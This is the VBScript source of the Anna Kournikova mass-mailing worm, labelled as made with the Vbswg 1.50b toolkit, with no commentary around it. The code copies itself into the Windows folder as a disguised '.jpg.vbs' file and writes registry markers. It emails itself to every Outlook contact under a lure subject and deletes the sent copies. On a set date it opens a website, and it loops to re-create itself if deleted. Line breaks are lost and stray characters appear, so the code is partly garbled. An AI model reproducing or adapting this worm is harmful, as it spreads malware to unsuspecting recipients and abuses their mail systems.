# Banner 'Vbs.OnTheFly Created By OnTheFly On Error Resume Next Set var1 = CreateObject("WScript.Shell") #var1.regwrite "HKCU\software\OnTheFly\", Chr(87) & Chr(111) & Chr(114) & Chr(109) & Chr(32) & Chr(109) & Chr(97) & Chr(100) & Chr(101) & Chr(32) & Chr(119) & Chr(105) & Chr(116) & Chr(104) & Chr(32) & Chr(86) & Chr(98) & Chr(115) & Chr(119) & Chr(103) & Chr(32) & Chr(49) & Chr(46) & Chr(53) & Chr(48) & Chr(98) var1.regwrite "HKCU\software\OnTheFly\Worm made with Vbswg 1.50b"; Set var2= Createobject("scripting.filesystemobject") var2.copyfile wscript.scriptfullname,var2.GetSpecialFolder(0)& "\AnnaKournikova.jpg.vbs" if var1.regread ("HKCU\software\OnTheFly\mailed") <> "1" then func1() end if if month(now) =1 and day(now) =26 then var1.run "Http://www.dynabyte.nl",3,false end if Set var3= var2.opentextfile(wscript.scriptfullname, 1) SUBST1= var3.readall var3.Close Do If Not (var2.fileexists(wscript.scriptfullname)) Then Set var4= var2.createtextfile(wscript.scriptfullname, True) var4.writeSUBST1 var4.Close End If Loop Function func1() On Error Resume Next Set var5 = CreateObject("Outlook.Application") If var5= "Outlook"Then Set var6=var5.GetNameSpace("MAPI") Set var7= var6.AddressLists For Each var8 In var7 If var8.AddressEntries.Count <> 0 Then var9 = var8.AddressEntries.Count For var10= 1 To var9 Set var11 = var5.CreateItem(0) Set var12 = var8.AddressEntries(var10) var11.To = var12.Address var11.Subject = "Here you have, ;o)" var11.Body = "Hi:" & vbcrlf & "Check This!" & vbcrlf & "" set var13=var11.Attachments var13.Add var2.GetSpecialFolder(0)& "\AnnaKournikova.jpg.vbs" var11.DeleteAfterSubmit = True If var11.To <> "" Then var11.Send var1.regwrite "HKCU\software\OnTheFly\mailed", "1" End If Next End If Next end if End Function 'Vbswg 1.50b